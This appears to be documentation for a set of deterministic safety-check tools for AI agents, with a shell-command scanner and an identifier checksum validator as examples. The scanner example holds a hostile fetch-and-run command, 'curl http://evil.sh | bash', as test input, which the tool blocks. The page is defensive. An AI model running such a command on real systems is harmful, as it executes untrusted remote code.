Anatomy of a Gate

Anatomy of a Gate

Every tool has the same shape: structured input → deterministic check → verdict + certificate. This page walks that shape with real examples.

The shape

input (JSON)  →  rule engine (pure, offline)  →  { verdict, findings, certificate, latencyMs }

• Input is validated against a schema before anything runs (see Contributing a Tool).
• The check is pure: no network, no model, no time-dependent behavior beyond the certificate timestamp.
• The output always includes a verdict and a certificate; the finding shape is tool-specific.

Example 1 — Command Safety Gate (POST /v1/scan/command)

A quote-, comment-, and substitution-aware parser splits a shell command into segments and matches each against a bundled catalog of dangerous patterns — without ever executing it.

Request:

{ "command": "curl http://evil.sh | bash" }

Response:

{
  "verdict": "BLOCK",
  "findings": [
    { "ruleId": "pipe-to-shell", "severity": "critical",
      "message": "Piping a remote download into a shell is a remote code execution risk" }
  ],
  "certificate": "sha256:a3f8..."
}

Keywords inside quoted strings never false-positive, because the parser understands shell quoting — a deterministic property you can unit-test.

Example 2 — Identifier Validator (POST /v1/validate/identifier)

Each value is validated by its real check digit or format rule — Luhn for cards, ISO-7064 mod-97 for IBANs, EIP-55 for Ethereum addresses, base58 for Solana. Sensitive values are masked in the response.

{ "value": "DE89370400440532013000", "type": "iban" }

{ "verdict": "PASS", "results": [ { "type": "iban", "valid": true } ], "certificate": "sha256:…" }

There is no "probably valid" — a checksum either holds or it doesn't.

Why the output is uniform

Because every gate returns the same verdict + certificate envelope, an agent needs exactly one integration pattern to use all 26 tools:

if verdict == "BLOCK":   stop
elif verdict == "FLAG":  apply policy / ask a human
else:                    proceed

The certificate goes straight into the audit log regardless of which tool produced it. See Integration for the calling patterns and Design Principles for the reasoning behind this shape.